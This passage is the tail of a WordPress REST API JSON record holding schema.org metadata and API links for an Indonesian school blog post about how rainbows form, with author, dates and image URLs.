minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi","url":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi","name":"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png","datePublished":"2025-06-04T02:00:35+00:00","dateModified":"2026-01-19T23:26:00+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4"},"description":"Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4","name":"Kenya Swawikanti","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g","caption":"Kenya Swawikanti"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/kenya-swawikanti"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=934"}],"version-history":[{"count":6,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/934\/revisions"}],"predecessor-version":[{"id":1958,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/934\/revisions\/1958"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/934"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}